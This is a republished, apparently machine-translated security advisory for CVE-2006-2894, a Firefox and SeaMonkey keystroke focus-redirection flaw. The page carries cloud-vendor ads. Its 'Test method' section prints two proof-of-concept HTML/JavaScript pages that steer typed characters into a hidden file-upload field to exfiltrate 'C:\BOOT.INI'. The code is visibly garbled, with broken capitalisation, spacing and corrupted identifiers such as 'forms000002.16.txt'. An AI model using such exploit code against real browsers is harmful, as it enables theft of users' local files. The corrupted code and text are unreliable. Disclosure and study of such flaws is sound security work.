Firefox retargeting mouse focus Vulnerability

Last Update:2013-12-26 Source: Internet

Author: User

Tags seamonkey cve

Developer on Alibaba Coud: Build your first app with APIs, SDKs, and tutorials on the Alibaba Cloud. Read more ＞

Released on: 2006-06
Updated on: 2007-10-23

Affected Systems:
Mozilla Firefox <2.0.0.8
Mozilla SeaMonkey <1.1.5
Unaffected system:
Mozilla Firefox 2.0.0.8
Mozilla SeaMonkey 1.1.5
Description:
--------------------------------------------------------------------------------
Bugtraq id: 18308
CVE (CAN) ID: CVE-2006-2894

Firefox is a popular open-source WEB browser.

Firefox has a vulnerability in processing onKeyDown/onKeyPress events. Malicious webpages may exploit this vulnerability to obtain specific files on the user's system.

Firefox does not correctly handle onKeyDown/onKeyPress events, allowing you to move the mouse focus between the two events without your knowledge. If the attacker knows the complete path name of the file and can trick the user into Typing too much content, then the mouse focus can be implicitly redirected to other protected file upload form fields, upload arbitrary files to the site selected by the attacker.

<* Source: Michal zarewski lcamtuf@echelon.pl)
Charles mculey cmcauley@imperfectnetworks.com)

Link: https://bugzilla.mozilla.org/show_bug.cgi? Format = multiple & amp; id = 370092
Http://lists.grok.org.uk/pipermail/full-disclosure/2007-February/052333.html
Http://secunia.com/advisories/20442/print/
Http://lists.grok.org.uk/pipermail/full-disclosure/2006-June/046610.html
Http://www.mozilla.org/security/announce/2007/mfsa2007-32.html
*>

Test method:
--------------------------------------------------------------------------------

Alert

The following procedures (methods) may be offensive and are intended only for security research and teaching. Users are at your own risk!

<HTML>
<HEAD>
<SCRIPT>
// Document. onKeyDown = doKeyPress;

// Document. onKeyUp = doKeyUp;
Var saved;
Var e;
Var mystring = "C: \ BOOT. INI ";
Var I = mystring. length-1;

Function doKeyPress (){
E = window. event;
Saved = e. keyCode;
Window. status = "e. keyCode =" + e. keyCode + "character is" +
Mystring. charCodeAt (I );
If (e. keyCode! = Mystring. charCodeAt (I ))
{
// E. keyCode = 0;
E. returnValue = false;
E. cancelBubble = true;
}
Else {
I --;
}
Document. forms [0]. fileupload. focus ();

}

Function doKeyUp (){

Document.forms000002.16.txt. value + = String. fromCharCode (saved );
Document.forms000002.16.txt. focus ();

}

Function switchtype (){
/* Var e = document. getElementById ('txt ');
Document.forms000002.16.txt. setAttribute ("type", "file ");
E. setAttribute ("value", "asfasfsd ");
*/
}

Function fux0rKeys (){
}
</SCRIPT>
</HEAD>
<BODY onload = "document.forms000002.16.txt. value = 'someext ';
Document. forms [0]. fileupload. value = 'asdfsdfadsf '; ">
<Form method = POST action = file. php>
<INPUT id = 'asdf 'name = "fileupload" defaultValue = 'asdfasdf' TYPE = FILE
OnKeyUp = "doKeyUp ();"
OnKeyPress = "doKeyPress ();">
<Input name = txt id = 'txt 'type = text value = 'asdfsdafasdf'
OnKeyDown = "document. forms [0]. fileupload. focus ();"
AsdfnKeyDown = "document.forms%0%.txt. fireEvent ('onkeypress ');"
OnClick = ""> visible
</FORM>
</BODY>
</HTML>

<HTML>
<HEAD>
<Style type = "text/css">
. First {
}
. Second {
Color: white;
Background-color: white;
Opacity: 0;
}
</Style>
<SCRIPT>
// Document. onKeyDown = doKeyPress;

// Document. onKeyUp = doKeyUp;
Var saved;
Var e;
Var mystring = "C: \ BOOT. INI ";
// Var I = mystring. length-1;
Var I = 0;
Function doKeyPress (chucky)
{
Saved = chucky. which;
// Alert ('pressed '+ String. fromCharCode (saved) +' ('+ saved + ')');
If (mystring [I]! = String. fromCharCode (saved). toUpperCase () |
I> mystring. length-1 ){
Return false;
}
I ++;
Return true;
};
Function doKeyUp (){

Document.forms000002.16.txt. value + = String. fromCharCode (saved );
Document.forms000002.16.txt. focus ();

}

</SCRIPT>
</HEAD>
<BODY>
<Form method = POST action = file. php>
<INPUT id = 'asdf 'name = "fileupload" defaultValue = 'asdfasdf' TYPE = FILE
OnKeyUp = "doKeyUp ();"
OnKeyPress = "return doKeyPress (event);">
<Input name = txt id = 'txt 'Type = text value =''
OnKeyDown = "document. forms [0]. fileupload. focus ();"
OnClick = "">
<Input type = button value = "invisible"
Onclick = "document. forms [0]. fileupload. className = 'second';">
<Input type = button value = "visible"
Onclick = "document. forms [0]. fileupload. className = 'first';">

</FORM>
</BODY>
</HTML>

Suggestion:
--------------------------------------------------------------------------------
Vendor patch:

Mozilla
-------
The vendor has released a patch to fix this security problem. Please download it from the vendor's homepage:

Http://www.mozilla.org/

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

Get Started for Free

Sales Support

1 on 1 presale consultation

Chat Contact Sales
After-Sales Support

24/7 Technical Support 6 Free Tickets per Quarter Faster Response

Open a Ticket
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.

Learn More